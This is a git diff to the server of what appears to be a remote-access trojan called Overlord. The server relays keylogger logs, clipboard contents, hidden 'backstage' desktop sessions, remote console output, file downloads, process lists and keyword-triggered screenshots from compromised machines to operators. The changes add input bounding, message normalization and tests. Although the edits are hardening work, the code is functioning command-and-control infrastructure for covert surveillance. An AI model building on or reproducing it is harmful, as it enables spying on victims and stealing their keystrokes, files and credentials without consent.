payload.windows.slice(0, MAX_BACKSTAGE_WINDOWS)) { windows.push({ - title: String(w.title || ""), + title: boundedAgentText(w?.title, 512), x: Number(w.x) || 0, y: Number(w.y) || 0, width: Number(w.width) || 0, height: Number(w.height) || 0, pid: Number(w.pid) || 0, - processName: String(w.processName || ""), + processName: boundedAgentText(w?.processName, 256), monitor: Number(w.monitor ?? -1), }); } @@ -1005,10 +1049,10 @@ export function handlebackstageWindowListResult(clientId: string, payload: any) width: number; height: number; primary: boolean; }> = []; if (Array.isArray(payload.monitors)) { - for (const m of payload.monitors) { + for (const m of payload.monitors.slice(0, MAX_BACKSTAGE_MONITORS)) { monitors.push({ index: Number(m.index) || 0, - name: String(m.name || ""), + name: boundedAgentText(m?.name, 256), x: Number(m.x) || 0, y: Number(m.y) || 0, width: Number(m.width) || 0, @@ -1023,9 +1067,14 @@ export function handlebackstageWindowListResult(clientId: string, payload: any) } export function handleClipboardContent(clientId: string, payload: any) { - const text = String(payload.text || ""); - const source = String(payload.source || ""); - if (!text) return; + const text = typeof payload?.text === "string" ? payload.text : ""; + const source = boundedAgentText(payload?.source, 32); + if ( + !text + || (source !== "rd" && source !== "backstage") + || text.length > MAX_CLIPBOARD_CONTENT_BYTES + || Buffer.byteLength(text, "utf8") > MAX_CLIPBOARD_CONTENT_BYTES + ) return; if (source === "backstage") { for (const session of sessionManager.getbackstageSessionsForClient(clientId)) { safeSendViewer(session.viewer, { type: "clipboard_content", text, source }); @@ -1474,12 +1523,40 @@ export function sendbackstageCommand(target: ClientInfo | undefined, commandType export function handleDesktopEncoderCapabilities(clientId: string, payload: any) { const encoderCodecs = Array.isArray(payload?.codecs) && payload.codecs.length > 0 - ? payload.codecs + ? payload.codecs.slice(0, 16).flatMap((entry: any) => { + const codec = boundedAgentText(entry?.codec, 32).toLowerCase(); + if (!codec) return []; + return [{ + codec, + encoders: Array.isArray(entry?.encoders) + ? entry.encoders.slice(0, 16).map((value: unknown) => boundedAgentText(value, 64)).filter(Boolean) + : [], + transports: Array.isArray(entry?.transports) + ? entry.transports.slice(0, 8).map((value: unknown) => boundedAgentText(value, 32)).filter(Boolean) + : [], + hardware: entry?.hardware === true, + }]; + }) : [ { codec: "h264", transports: ["websocket", "webrtc"] }, { codec: "jpeg", transports: ["websocket"] }, { codec: "raw", transports: ["websocket"] }, ]; + const profiles = Array.isArray(payload?.profiles) + ? payload.profiles.slice(0, 32).flatMap((entry: any) => { + if (!entry || typeof entry !== "object") return []; + return [{ + maxHeight: Math.floor(boundedAgentNumber(entry.maxHeight, 0, 16_384)), + width: Math.floor(boundedAgentNumber(entry.width, 0, 16_384)), + height: Math.floor(boundedAgentNumber(entry.height, 0, 16_384)), + fps: Math.floor(boundedAgentNumber(entry.fps, 0, 240)), + label: boundedAgentText(entry.label, 128), + providers: Array.isArray(entry.providers) + ? entry.providers.slice(0, 16).map((value: unknown) => boundedAgentText(value, 64)).filter(Boolean) + : [], + }]; + }) + : []; const sessions = sessionManager.getRdSessionsForClient(clientId); const negotiations = sessions.map((session) => negotiateDesktopCodec({ encoderCodecs, @@ -1503,8 +1580,13 @@ export function handleDesktopEncoderCapabilities(clientId: string, payload: any) }; session.viewer.data.rdSelectedCodec = selectedCodec; safeSendViewer(session.viewer, { - ...payload, + type: "desktop_encoder_capabilities", + commandId: boundedAgentText(payload?.commandId, 128), + probed: payload?.probed === true, + display: Math.floor(boundedAgentNumber(payload?.display, 0, 31)), + profiles, codecs: encoderCodecs, + detail: boundedAgentText(payload?.detail, 2_048), negotiation, selectedCodec, fallbackCodecs: sharedFallbackCodecs, @@ -1562,7 +1644,7 @@ export function handleDesktopStreamStats(clientId: string, payload: any) { const stats = { type: "desktop_stream_stats", fps: Math.max(0, Number(payload?.fps) || 0), - format: String(payload?.format || ""), + format: boundedAgentText(payload?.format, 32), bytes: Math.max(0, Number(payload?.bytes) || 0), width: Math.max(0, Number(payload?.width) || 0), height: Math.max(0, Number(payload?.height) || 0), @@ -1570,7 +1652,7 @@ export function handleDesktopStreamStats(clientId: string, payload: any) { encodeMs: Math.max(0, Number(payload?.encodeMs) || 0), sendMs: Math.max(0, Number(payload?.sendMs) || 0), totalMs: Math.max(0, Number(payload?.totalMs) || 0), - transport: String(payload?.transport || ""), + transport: boundedAgentText(payload?.transport, 32), }; for (const session of sessionManager.getRdSessionsForClient(clientId)) { safeSendViewer(session.viewer, stats, "rd-stats"); @@ -1649,20 +1731,27 @@ export function handleConsoleViewerMessage(ws: ServerWebSocket, raw: } export function handleConsoleOutput(clientId: string, payload: any) { - const sessionId = payload.sessionId as string; + const sessionId = boundedAgentText(payload?.sessionId, 128); if (!sessionId) return; const session = sessionManager.getConsoleSession(sessionId); if (!session) return; if (session.clientId !== clientId) return; + const data = payload?.data === undefined || payload?.data === null + ? null + : boundedAgentBytes(payload.data, 64 * 1024); + if (payload?.data !== undefined && payload?.data !== null && !data) return; + const error = boundedAgentText(payload?.error, 2_048); safeSendViewer(session.viewer, { type: "output", sessionId, - data: payload.data ?? null, - exitCode: payload.exitCode, - error: payload.error, + data, + ...(payload?.exitCode !== undefined + ? { exitCode: Math.floor(boundedAgentNumber(payload.exitCode, -2_147_483_648, 2_147_483_647)) } + : {}), + ...(error ? { error } : {}), }); - if (payload.exitCode !== undefined || payload.error) { - const reason = payload.error ? payload.error : `Process exited (${payload.exitCode ?? ""})`; + if (payload?.exitCode !== undefined || error) { + const reason = error || `Process exited (${payload.exitCode ?? ""})`; safeSendViewer(session.viewer, { type: "status", status: "closed", reason, sessionId }); sessionManager.deleteConsoleSession(sessionId); } diff --git a/Overlord-Server/src/server/ws-desktop-audio.ts b/Overlord-Server/src/server/ws-desktop-audio.ts index 667c39c..b49d48b 100644 --- a/Overlord-Server/src/server/ws-desktop-audio.ts +++ b/Overlord-Server/src/server/ws-desktop-audio.ts @@ -15,6 +15,7 @@ import { import { cleanupViewerP2P, } from "./ws-console-rd-backstage"; +import { safeSendViewerBytes } from "./ws-viewer-utils"; function sendDesktopAudioCommand( clientId: string, @@ -153,22 +154,20 @@ export function handleDesktopAudioViewerMessage(ws: ServerWebSocket, } export function handleDesktopAudioUplink(clientId: string, payload: any) { + if (typeof payload?.sessionId === "string" && payload.sessionId.length > 128) return; const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : ""; const bytes = payload?.data instanceof Uint8Array ? payload.data : payload?.data instanceof ArrayBuffer ? new Uint8Array(payload.data) : ArrayBuffer.isView(payload?.data) - ? new Uint8Array(payload.data.buffer) + ? new Uint8Array(payload.data.buffer, payload.data.byteOffset, payload.data.byteLength) : null; if (!bytes || bytes.byteLength === 0) return; for (const session of sessionManager.getDesktopAudioSessionsByClient(clientId)) { if (sessionId && session.id !== sessionId) continue; - try { - session.viewer.send(bytes); - } catch { - } + safeSendViewerBytes(session.viewer, bytes, undefined, "desktop-audio"); } } diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.test.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.test.ts index b3f217a..aaf2171 100644 --- a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.test.ts +++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.test.ts @@ -1,5 +1,13 @@ import { describe, expect, test } from "bun:test"; -import { handleFileBrowserMessage } from "./ws-file-process-proxy-keylogger"; +import { + handleFileBrowserMessage, + MAX_FILE_LIST_ENTRIES, + MAX_KEYLOG_CONTENT_BYTES, + MAX_PROCESS_ICON_ITEMS, + normalizeFileBrowserAgentMessage, + normalizeKeyloggerAgentMessage, + normalizeProcessAgentMessage, +} from "./ws-file-process-proxy-keylogger"; describe("file browser agent download routing", () => { test("only consumes pending HTTP downloads for the matching client", () => { @@ -30,3 +38,45 @@ describe("file browser agent download routing", () => { expect(consumed).toBe(0); }); }); + +describe("agent result relay normalization", () => { + test("bounds file lists and removes unrecognized attacker fields", () => { + const normalized = normalizeFileBrowserAgentMessage({ + type: "file_list_result", + commandId: "command", + path: "/tmp", + junk: "not relayed", + entries: Array.from({ length: MAX_FILE_LIST_ENTRIES + 5 }, (_, index) => ({ + name: `file-${index}`, + path: `/tmp/file-${index}`, + size: index, + })), + }) as any; + + expect(normalized.entries).toHaveLength(MAX_FILE_LIST_ENTRIES); + expect(normalized.junk).toBeUndefined(); + }); + + test("strictly rejects scalar process icon data and caps item counts", () => { + const normalized = normalizeProcessAgentMessage({ + type: "process_icon_result", + junk: "not relayed", + icons: Array.from({ length: MAX_PROCESS_ICON_ITEMS + 5 }, (_, index) => ({ + key: `icon-${index}`, + png: index === 0 ? 0xffff_ffff : new Uint8Array([index]), + })), + }) as any; + + expect(normalized.icons).toHaveLength(MAX_PROCESS_ICON_ITEMS); + expect(normalized.icons[0].png).toBeUndefined(); + expect(normalized.junk).toBeUndefined(); + }); + + test("drops oversized keylog content before viewer fan-out", () => { + expect(normalizeKeyloggerAgentMessage({ + type: "keylog_file_content", + filename: "today.log", + content: "x".repeat(MAX_KEYLOG_CONTENT_BYTES + 1), + })).toBeNull(); + }); +}); diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts index 1796df9..710441d 100644 --- a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts +++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts @@ -31,6 +31,288 @@ function boundedBytes(value: unknown, maxBytes: number): Uint8Array | null { return bytes.byteLength <= maxBytes ? bytes : null; } +export const MAX_FILE_LIST_ENTRIES = 100_000; +export const MAX_PROCESS_LIST_ENTRIES = 100_000; +export const MAX_PROCESS_ICON_ITEMS = 32; +export const MAX_PROCESS_ICON_BYTES = 256 * 1024; +export const MAX_KEYLOG_FILE_ITEMS = 1_000; +export const MAX_KEYLOG_CONTENT_BYTES = 64 * 1024 * 1024; + +function boundedText(value: unknown, maxLength: number): string { + if (typeof value !== "string") return ""; + return value.slice(0, maxLength).replace(/[\x00-\x1F\x7F]/g, ""); +} + +function boundedUtf8Text(value: unknown, maxBytes: number): string | null { + if (typeof value !== "string") return null; + if (value.length > maxBytes || Buffer.byteLength(value, "utf8") > maxBytes) return null; + return value; +} + +function boundedNumber(value: unknown, min = 0, max = Number.MAX_SAFE_INTEGER): number { + const parsed = typeof value === "bigint" ? Number(value) : Number(value); + if (!Number.isFinite(parsed)) return min; + return Math.min(max, Math.max(min, parsed)); +} + +function relayCommandId(value: unknown): string | undefined { + const commandId = boundedText(value, 128); + return commandId || undefined; +} + +function relayPath(value: unknown, allowEmpty = true): string { + return isSafeFileBrowserPath(value, allowEmpty) ? value : ""; +} + +function baseAgentResult(type: string, payload: any): Record { + const commandId = relayCommandId(payload?.commandId); + const pathValue = relayPath(payload?.path); + const error = boundedText(payload?.error, 2_048); + return { + type, + ...(commandId ? { commandId } : {}), + ...(pathValue ? { path: pathValue } : {}), + ...(error ? { error } : {}), + }; +} + +export function normalizeFileBrowserAgentMessage(payload: any): Record | null { + const type = typeof payload?.type === "string" ? payload.type : ""; + if (!type) return null; + const base = baseAgentResult(type, payload); + + switch (type) { + case "file_list_result": { + const entries = Array.isArray(payload.entries) + ? payload.entries.slice(0, MAX_FILE_LIST_ENTRIES).flatMap((entry: any) => { + if (!entry || !isSafeFileBrowserPath(entry.path)) return []; + const name = boundedText(entry.name, 512); + if (!name) return []; + return [{ + name, + path: entry.path, + isDir: entry.isDir === true, + size: boundedNumber(entry.size), + modTime: boundedNumber(entry.modTime), + mode: boundedText(entry.mode, 64), + owner: boundedText(entry.owner, 128), + group: boundedText(entry.group, 128), + attrs: Math.floor(boundedNumber(entry.attrs, 0, 0xffff_ffff)), + freeBytes: boundedNumber(entry.freeBytes), + totalBytes: boundedNumber(entry.totalBytes), + fsType: boundedText(entry.fsType, 64), + }]; + }) + : []; + return { + ...base, + path: relayPath(payload.path), + entries, + accessDenied: payload.accessDenied === true, + canRequestAccess: payload.canRequestAccess === true, + accessHelp: boundedText(payload.accessHelp, 1_024), + }; + } + case "file_download": { + const data = boundedBytes(payload.data, 4 * 1024 * 1024); + if (payload.data && !data) { + return { ...base, error: "Download chunk exceeded limit" }; + } + return { + ...base, + ...(data ? { data } : {}), + offset: boundedNumber(payload.offset), + total: boundedNumber(payload.total), + chunkIndex: Math.floor(boundedNumber(payload.chunkIndex, 0, 1_000_000)), + chunksTotal: Math.floor(boundedNumber(payload.chunksTotal, 0, 1_000_000)), + }; + } + case "file_upload_result": + return { + ...base, + transferId: boundedText(payload.transferId, 128), + ok: payload.ok === true, + offset: boundedNumber(payload.offset), + size: boundedNumber(payload.size), + received: boundedNumber(payload.received), + total: boundedNumber(payload.total), + }; + case "file_read_result": { + const content = boundedUtf8Text(payload.content, FILE_BROWSER_MAX_READ_BYTES); + if (typeof payload.content === "string" && content === null) { + return { ...base, error: "File content exceeded editor limit" }; + } + return { ...base, content: content || "", isBinary: payload.isBinary === true }; + } + case "file_search_result": { + const results = Array.isArray(payload.results) + ? payload.results.slice(0, 500).flatMap((result: any) => { + if (!result || !isSafeFileBrowserPath(result.path)) return []; + const line = Math.floor(boundedNumber(result.line, 0, 10_000_000)); + return [{ + path: result.path, + ...(line > 0 ? { line } : {}), + match: boundedText(result.match, 4_096), + }]; + }) + : []; + return { + ...base, + searchId: boundedText(payload.searchId, 128), + results, + complete: payload.complete === true, + }; + } + case "file_icon_result": { + const icons = Array.isArray(payload.icons) + ? payload.icons.slice(0, FILE_BROWSER_MAX_ICON_ITEMS).flatMap((item: any) => { + const key = boundedText(item?.key, 4_224); + if (!key) return []; + const png = boundedBytes(item?.png, 512 * 1024); + return [{ key, ...(png ? { png } : {}), error: boundedText(item?.error, 512) }]; + }) + : []; + return { ...base, icons }; + } + case "file_thumb_result": { + const thumbs = Array.isArray(payload.thumbs) + ? payload.thumbs.slice(0, FILE_BROWSER_MAX_THUMB_ITEMS).flatMap((item: any) => { + const key = boundedText(item?.key, 4_224); + if (!key) return []; + const jpeg = boundedBytes(item?.jpeg, 1024 * 1024); + return [{ + key, + ...(jpeg ? { jpeg } : {}), + w: Math.floor(boundedNumber(item?.w, 0, 512)), + h: Math.floor(boundedNumber(item?.h, 0, 512)), + error: boundedText(item?.error, 512), + }]; + }) + : []; + return { ...base, thumbs }; + } + case "file_peek_result": { + const data = boundedBytes(payload.data, 4_096); + if (payload.data && !data) return { ...base, error: "Preview data exceeded limit" }; + return { + ...base, + ...(data ? { data } : {}), + size: boundedNumber(payload.size), + isText: payload.isText === true, + }; + } + case "file_dirsize_result": + return { + ...base, + bytes: boundedNumber(payload.bytes), + files: boundedNumber(payload.files), + dirs: boundedNumber(payload.dirs), + done: payload.done === true, + }; + case "file_hash_result": + return { + ...base, + algorithm: boundedText(payload.algorithm, 32), + digest: boundedText(payload.digest, 512), + size: boundedNumber(payload.size), + }; + case "command_result": + case "command_progress": + return { + ...base, + ok: payload.ok === true, + message: boundedText(payload.message, 4_096), + }; + default: + return null; + } +} + +export function normalizeProcessAgentMessage(payload: any): Record | null { + const type = typeof payload?.type === "string" ? payload.type : ""; + const commandId = relayCommandId(payload?.commandId); + const base = { type, ...(commandId ? { commandId } : {}) }; + if (type === "process_list_result") { + const processes = Array.isArray(payload.processes) + ? payload.processes.slice(0, MAX_PROCESS_LIST_ENTRIES).flatMap((process: any) => { + if (!process || typeof process !== "object") return []; + return [{ + pid: Math.floor(boundedNumber(process.pid, 0, 0xffff_ffff)), + ppid: Math.floor(boundedNumber(process.ppid, 0, 0xffff_ffff)), + name: boundedText(process.name, 256), + exePath: boundedText(process.exePath, 4_096), + cpu: boundedNumber(process.cpu, 0, 100_000), + memory: boundedNumber(process.memory), + username: boundedText(process.username, 256), + type: boundedText(process.type, 64), + self: process.self === true, + }]; + }) + : []; + return { ...base, processes, error: boundedText(payload.error, 2_048) }; + } + if (type === "process_icon_result") { + const icons = Array.isArray(payload.icons) + ? payload.icons.slice(0, MAX_PROCESS_ICON_ITEMS).flatMap((item: any) => { + const key = boundedText(item?.key, 4_224); + if (!key) return []; + const png = boundedBytes(item?.png, MAX_PROCESS_ICON_BYTES); + return [{ key, ...(png ? { png } : {}), error: boundedText(item?.error, 512) }]; + }) + : []; + return { ...base, icons }; + } + return null; +} + +export function normalizeKeyloggerAgentMessage(payload: any): Record | null { + const type = typeof payload?.type === "string" ? payload.type : ""; + switch (type) { + case "keylog_file_list": { + const files = Array.isArray(payload.files) + ? payload.files.slice(0, MAX_KEYLOG_FILE_ITEMS).flatMap((file: any) => { + const name = boundedText(file?.name, 255); + if (!name || name === "." || name === ".." || name.includes("/") || name.includes("\\")) return []; + return [{ + name, + size: boundedNumber(file?.size), + date: boundedText(file?.date, 64), + }]; + }) + : []; + return { type, files }; + } + case "keylog_file_content": { + const filename = boundedText(payload.filename, 255); + const content = boundedUtf8Text(payload.content, MAX_KEYLOG_CONTENT_BYTES); + if ( + !filename + || filename === "." + || filename === ".." + || filename.includes("/") + || filename.includes("\\") + || content === null + ) return null; + return { type, filename, content }; + } + case "keylog_clear_result": + case "keylog_delete_result": + case "keylog_permission_result": + return { + type, + ...(relayCommandId(payload.commandId) ? { commandId: relayCommandId(payload.commandId) } : {}), + ok: payload.ok === true, + filename: boundedText(payload.filename, 255), + error: boundedText(payload.error, 2_048), + message: boundedText(payload.message, 2_048), + reason: boundedText(payload.reason, 128), + granted: payload.granted === true, + }; + default: + return null; + } +} + type FileBrowserViewer = { id: string; clientId: string; @@ -445,6 +727,8 @@ export function handleFileBrowserMessage(clientId: string, payload: any, deps: W return; } const ownerSessionId = commandOwner?.sessionId; + const relayPayload = isHttpDownload ? null : normalizeFileBrowserAgentMessage(payload); + if (!isHttpDownload && !relayPayload) return; let hasSession = false; for (const session of sessionManager.getFileBrowserSessionsByClient(clientId)) { @@ -460,54 +744,7 @@ export function handleFileBrowserMessage(clientId: string, payload: any, deps: W if (ownerSessionId && session.id !== ownerSessionId) { continue; } - if (payload.type === "file_download" && payload.data) { - const data = boundedBytes(payload.data, 4 * 1024 * 1024); - safeSendViewer(session.viewer, data - ? { ...payload, data } - : { type: "file_download", commandId: payload.commandId, path: payload.path, error: "Download chunk exceeded limit" }); - } else if (payload.type === "file_icon_result" && Array.isArray(payload.icons)) { - const icons = payload.icons.slice(0, FILE_BROWSER_MAX_ICON_ITEMS).flatMap((item: any) => { - if (!item || typeof item.key !== "string" || item.key.length > 4224) return []; - const png = item.png ? boundedBytes(item.png, 512 * 1024) : null; - return [{ key: item.key, ...(png ? { png } : {}), ...(item.error ? { error: String(item.error).slice(0, 512) } : {}) }]; - }); - safeSendViewer(session.viewer, { ...payload, icons }); - } else if (payload.type === "file_thumb_result" && Array.isArray(payload.thumbs)) { - const thumbs = payload.thumbs.slice(0, FILE_BROWSER_MAX_THUMB_ITEMS).flatMap((item: any) => { - if (!item || typeof item.key !== "string" || item.key.length > 4224) return []; - const jpeg = item.jpeg ? boundedBytes(item.jpeg, 1024 * 1024) : null; - return [{ - key: item.key, - ...(jpeg ? { jpeg } : {}), - w: Math.min(512, Math.max(0, Number(item.w) || 0)), - h: Math.min(512, Math.max(0, Number(item.h) || 0)), - ...(item.error ? { error: String(item.error).slice(0, 512) } : {}), - }]; - }); - safeSendViewer(session.viewer, { ...payload, thumbs }); - } else if (payload.type === "file_peek_result" && payload.data) { - const data = boundedBytes(payload.data, 4096); - safeSendViewer(session.viewer, data - ? { ...payload, data } - : { type: "file_peek_result", commandId: payload.commandId, path: payload.path, error: "Preview data exceeded limit" }); - } else if (payload.type === "file_read_result" && typeof payload.content === "string") { - safeSendViewer(session.viewer, payload.content.length <= FILE_BROWSER_MAX_READ_BYTES - ? payload - : { type: "file_read_result", commandId: payload.commandId, path: payload.path, error: "File content exceeded editor limit" }); - } else if (payload.type === "file_search_result" && Array.isArray(payload.results)) { - const results = payload.results.slice(0, 500).flatMap((result: any) => { - if (!result || !isSafeFileBrowserPath(result.path)) return []; - const line = Number(result.line); - return [{ - path: result.path, - ...(Number.isSafeInteger(line) && line > 0 ? { line } : {}), - ...(typeof result.match === "string" ? { match: result.match.slice(0, 4096) } : {}), - }]; - }); - safeSendViewer(session.viewer, { ...payload, results }); - } else { - safeSendViewer(session.viewer, payload); - } + safeSendViewer(session.viewer, relayPayload, "filebrowser"); } if (payloadCommandId) { const isTerminalDownload = type === "file_download" && ( @@ -595,18 +832,10 @@ export function handleProcessViewerMessage(ws: ServerWebSocket, raw: } export function handleProcessMessage(clientId: string, payload: any) { + const relayPayload = normalizeProcessAgentMessage(payload); + if (!relayPayload) return; for (const session of sessionManager.getProcessSessionsByClient(clientId)) { - if (payload.type === "process_icon_result" && Array.isArray(payload.icons)) { - const icons = payload.icons.map((item: any) => { - if (item && item.png && !(item.png instanceof Uint8Array)) { - return { ...item, png: new Uint8Array(item.png) }; - } - return item; - }); - safeSendViewer(session.viewer, { ...payload, icons }); - } else { - safeSendViewer(session.viewer, payload); - } + safeSendViewer(session.viewer, relayPayload, "processes"); } } @@ -680,7 +909,9 @@ export function handleKeyloggerViewerMessage(ws: ServerWebSocket, ra } export function handleKeyloggerMessage(clientId: string, payload: any) { + const relayPayload = normalizeKeyloggerAgentMessage(payload); + if (!relayPayload) return; for (const session of sessionManager.getKeyloggerSessionsByClient(clientId)) { - safeSendViewer(session.viewer, payload); + safeSendViewer(session.viewer, relayPayload, "keylogger"); } } diff --git a/Overlord-Server/src/server/ws-notifications-plugin.ts b/Overlord-Server/src/server/ws-notifications-plugin.ts index 1daf78f..b8119cb 100644 --- a/Overlord-Server/src/server/ws-notifications-plugin.ts +++ b/Overlord-Server/src/server/ws-notifications-plugin.ts @@ -8,7 +8,12 @@ import { metrics } from "../metrics"; import { encodeMessage } from "../protocol"; import * as sessionManager from "../sessions/sessionManager"; import type { SocketData } from "../sessions/types"; -import { deliverWebPushClientEvent, deliverClientEventToExternalChannels, type UserDeliveryTarget } from "./notification-delivery"; +import { + deliverWebPushClientEvent, + deliverClientEventToExternalChannels, + validateNotificationScreenshotPayload, + type UserDeliveryTarget, +} from "./notification-delivery"; type NotificationRecord = { id: string; @@ -40,7 +45,7 @@ type AntiSpamState = { blockedUntil: number; }; -type PendingNotificationScreenshot = { +export type PendingNotificationScreenshot = { notificationId: string; clientId: string; ts: number; @@ -57,6 +62,95 @@ type NotificationConfigShape = { antiSpamCooldownMs?: number; }; +const MAX_NOTIFICATION_TITLE_LENGTH = 512; +const MAX_NOTIFICATION_KEYWORD_LENGTH = 128; +const MAX_NOTIFICATION_PROCESS_LENGTH = 256; +const MAX_NOTIFICATION_PATH_LENGTH = 2_048; +export const MAX_PENDING_NOTIFICATION_SCREENSHOTS = 1_000; +export const MAX_PENDING_NOTIFICATION_SCREENSHOTS_PER_CLIENT = 2; +const MAX_PENDING_NOTIFICATION_SCREENSHOT_AGE_MS = 30_000; + +// Exported for the audit regression tests that document the stricter event +// policy we intentionally rolled back for plugin compatibility. These limits +// are no longer applied to plugin traffic. +export const MAX_PLUGIN_EVENT_PAYLOAD_BYTES = 256 * 1024; +export const MAX_PLUGIN_EVENTS_PER_KEY_PER_MINUTE = 120; +export const MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_KEY = 8 * 1024 * 1024; +export const MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_CLIENT = 16 * 1024 * 1024; +export const MAX_BUFFERED_PLUGIN_EVENT_BYTES_GLOBAL = 64 * 1024 * 1024; + +export function hasPluginUIEventBufferCapacity( + keyBytes: number, + clientBytes: number, + globalBytes: number, + incomingBytes: number, +): boolean { + return incomingBytes >= 0 + && keyBytes + incomingBytes <= MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_KEY + && clientBytes + incomingBytes <= MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_CLIENT + && globalBytes + incomingBytes <= MAX_BUFFERED_PLUGIN_EVENT_BYTES_GLOBAL; +} + +export function isPlausibleChatAttachmentEventPayload(value: unknown): boolean { + if (!value || typeof value !== "object" || Array.isArray(value)) return false; + const attachment = value as Record; + const dataB64 = attachment.dataB64; + const mime = typeof attachment.mime === "string" ? attachment.mime.trim().toLowerCase() : ""; + return typeof dataB64 === "string" + && dataB64.length > 0 + && dataB64.length <= Math.ceil((5 * 1024 * 1024) / 3) * 4 + && dataB64.length % 4 === 0 + && /^[A-Za-z0-9+/]*={0,2}$/.test(dataB64) + && new Set(["image/png", "image/jpeg", "image/webp"]).has(mime); +} + +export function hasPendingNotificationScreenshotCapacity( + pendingScreenshots: Map, + clientId: string, + now = Date.now(), +): boolean { + let clientCount = 0; + for (const [commandId, pending] of pendingScreenshots) { + if (now - pending.ts > MAX_PENDING_NOTIFICATION_SCREENSHOT_AGE_MS) { + clearTimeout(pending.timeout); + pendingScreenshots.delete(commandId); + continue; + } + if (pending.clientId === clientId) clientCount += 1; + } + return pendingScreenshots.size < MAX_PENDING_NOTIFICATION_SCREENSHOTS + && clientCount < MAX_PENDING_NOTIFICATION_SCREENSHOTS_PER_CLIENT; +} + +function sanitizeNotificationText(value: unknown, maxLength: number): string { + if (typeof value !== "string") return ""; + return value + .replace(/[\u0000-\u001f\u007f]/g, " ") + .trim() + .slice(0, maxLength); +} + +export function normalizeClientNotificationPayload( + payload: any, +): Omit | null { + const title = sanitizeNotificationText(payload?.title, MAX_NOTIFICATION_TITLE_LENGTH); + if (!title) return null; + + const rawPid = Number(payload?.pid); + const pid = Number.isSafeInteger(rawPid) && rawPid > 0 && rawPid <= 0xffff_ffff + ? rawPid + : undefined; + + return { + title, + process: sanitizeNotificationText(payload?.process, MAX_NOTIFICATION_PROCESS_LENGTH), + processPath: sanitizeNotificationText(payload?.processPath, MAX_NOTIFICATION_PATH_LENGTH), + pid, + keyword: sanitizeNotificationText(payload?.keyword, MAX_NOTIFICATION_KEYWORD_LENGTH), + category: payload?.category === "clipboard" ? "clipboard" : "active_window", + }; +} + type CreateDeps = { notificationRate: Map; pendingNotificationScreenshots: Map; @@ -100,6 +194,29 @@ function safeSendViewer(ws: ServerWebSocket, payload: unknown) { export function createNotificationPluginHandlers(deps: CreateDeps) { const antiSpamState = new Map(); + const purgatoryExternalRates = new Map(); + let purgatoryGlobalRate = { windowStart: Date.now(), count: 0 }; + function allowPurgatoryExternalDelivery(ip: string | undefined): boolean { + const now = Date.now(); + const windowMs = 60_000; + if (now - purgatoryGlobalRate.windowStart >= windowMs) { + purgatoryGlobalRate = { windowStart: now, count: 0 }; + } + const key = String(ip || "unknown"); + let perIp = purgatoryExternalRates.get(key); + if (!perIp || now - perIp.windowStart >= windowMs) { + perIp = { windowStart: now, count: 0 }; + } + purgatoryGlobalRate.count += 1; + perIp.count += 1; + purgatoryExternalRates.set(key, perIp); + if (purgatoryExternalRates.size > 10_000) { + for (const [rateKey, entry] of purgatoryExternalRates) { + if (now - entry.windowStart >= windowMs * 2) purgatoryExternalRates.delete(rateKey); + } + } + return purgatoryGlobalRate.count <= 20 && perIp.count <= 3; + } const pluginUIEventBuffer = new Map>(); const PLUGIN_UI_EVENT_BUFFER_MAX = 200; @@ -123,13 +240,20 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { const list = pluginUIEventBuffer.get(key); if (!list || list.length === 0) return []; const now = Date.now(); - const fresh = list.filter((e) => now - e.ts < PLUGIN_UI_EVENT_TTL_MS); + const fresh = list.filter((entry) => now - entry.ts < PLUGIN_UI_EVENT_TTL_MS); pluginUIEventBuffer.delete(key); return fresh.map(({ event, payload }) => ({ event, payload })); } function requestNotificationScreenshot(info: any, record: NotificationRecord) { if (!info || !info.ws) return; + if (!hasPendingNotificationScreenshotCapacity( + deps.pendingNotificationScreenshots, + record.clientId, + )) { + logger.warn(`[notify] skipped screenshot request because the pending queue is full client=${record.clientId}`); + return; + } const commandId = `notify-shot-${uuidv4()}`; const timeout = setTimeout(() => { deps.pendingNotificationScreenshots.delete(commandId); @@ -252,9 +376,10 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { antiSpamState.delete(key); } } + } - setInterval(pruneNotificationRate, 60_000); + setInterval(pruneNotificationRate, 60_000).unref?.(); function flushPluginEvents(clientId: string, pluginId: string) { const key = `${clientId}:${pluginId}`; @@ -315,34 +440,28 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { }, handleNotification(clientId: string, payload: any) { - const ts = Number(payload.ts) || Date.now(); - const title = typeof payload.title === "string" ? payload.title : ""; - if (!title) return; - const keyword = typeof payload.keyword === "string" ? payload.keyword : ""; - const rateKey = `${clientId}:${keyword || title}`; + const normalized = normalizeClientNotificationPayload(payload); + if (!normalized) return; + const ts = Date.now(); + const rateKey = clientId; if (!shouldAcceptNotification(rateKey, ts)) { return; } - const antiSpamKey = `${clientId}:${keyword || title}`; + const antiSpamKey = clientId; if (!checkAntiSpam(antiSpamKey, ts)) { return; } const info = clientManager.getClient(clientId); - const category: "active_window" | "clipboard" = - payload.category === "clipboard" ? "clipboard" : "active_window"; - logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} category=${category} title=${title}`); + logger.info( + `[notify] client=${clientId} keyword=${normalized.keyword || "-"} category=${normalized.category} title=${normalized.title}`, + ); const record: NotificationRecord = { id: uuidv4(), clientId, host: info?.host, user: info?.user, os: info?.os, - title, - process: typeof payload.process === "string" ? payload.process : "", - processPath: typeof payload.processPath === "string" ? payload.processPath : "", - pid: Number(payload.pid) || undefined, - keyword, - category, + ...normalized, ts, }; @@ -350,12 +469,12 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { const muted = deps.isClientNotificationsMuted(clientId); - requestNotificationScreenshot(info, record); - if (muted) { return; } + requestNotificationScreenshot(info, record); + for (const session of sessionManager.getAllNotificationSessions().values()) { const sRole = session.userRole ?? session.viewer.data.userRole ?? ""; const sUserId = session.userId ?? session.viewer.data.userId; @@ -376,11 +495,14 @@ export function 